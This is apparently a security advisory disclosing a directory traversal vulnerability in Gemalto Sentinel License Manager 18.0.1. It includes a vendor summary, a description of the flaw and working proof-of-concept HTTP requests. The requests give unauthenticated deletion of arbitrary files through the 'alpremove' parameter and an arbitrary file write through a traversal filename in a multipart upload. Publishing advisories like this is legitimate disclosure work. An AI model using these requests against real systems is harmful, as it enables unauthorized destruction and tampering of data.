? Gemalto Sentinel License Manager 18.0.1 Directory Traversal Vulnerability Vendor: Gemalto NV | SafeNet, Inc Product web page: http://www.gemalto.com | http://www.safenet-inc.com Affected version: 18.0.1.55505 Summary: The Sentinel License Manager enforces and manages licensing in multi-user environment. It keeps track of all the licenses and handles requests from network users who want to run your application, granting authorization to the requesters to allow them to run the application, and denying requests when all licenses are in use. It is an integral component of the network licensing schemes that can be implemented with Sentinel RMS, namely server-locked licenses, site licenses and commuter licenses. Desc: Input passed via the 'alpremove' and 'check_in_file' parameters is not properly verified in '/_int_/action.html' and '/_int_/checkin_file.html' before being used to delete and create files. This can be exploited to arbitrarily delete sensitive information on a system and/or write files via directory traversal attacks. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) HASP LM/18.00 (web server) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5330 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5330.php 26.04.2016 -- 1. Unauthenticated file removal using POST or GET: -------------------------------------------------- 1st request renames the file to meaning_of_life.txt.bak 2nd request removes the file entirely from C:\ -------------------------------------------------------- POST /_int_/action.html HTTP/1.1 Host: localhost:1947 alpremove=/../../../../../../../meaning_of_life.txt OR 1st req: GET http://localhost:1947/_int_/action.html?alpremove=/../../../../../../../meaning_of_life.txt HTTP/1.1 2nd req: GET http://localhost:1947/_int_/action.html?alpremove=/../../../../../../../meaning_of_life.txt HTTP/1.1 2. Unauthenticated file write: ------------------------------ PoC that creates license file in C:\ ------------------------------------- POST /_int_/checkin_file.html HTTP/1.1 Host: localhost:1947 Content-Length: 770 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://localhost:1947 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVlbofFpDmUw9CugB Referer: http://localhost:1947/_int_/checkin.html Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: hasplmlang=_int_ Connection: close ------WebKitFormBoundaryVlbofFpDmUw9CugB Content-Disposition: form-data; name="check_in_file"; filename="\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\jxzp" Content-Type: application/octet-stream <?xml version="1.0" encoding="UTF-8" ?> <location> <license_manager id="\..\..\..\..\..\..\..\..\..\..\..\juuzzta" time="0"> <version>18.0.1.55505</version> <hostname>LAB-ZSL</hostname> <name>LAB-ZSL</name> <host_fingerprint type="SL-AdminMode" crc="1439826437"> MXhJSWPdmwJr2iAIUgAGKBk/7N4U2GbJjLA6hGC1VHDvrsA2W+8e2ChuAFYgF6ZG ttm6N6iupYkEEHzcQQrG1r0pIGBarRkAy0GR46nuTYFtm8iAMA5IBQoP82wKbLMl gUKpUABvAmhFimCbrXumJpsOA8ApTjaU12zdm0LkvsgTAPECCFTau </host_fingerprint> </license_manager> </location> ------WebKitFormBoundaryVlbofFpDmUw9CugB--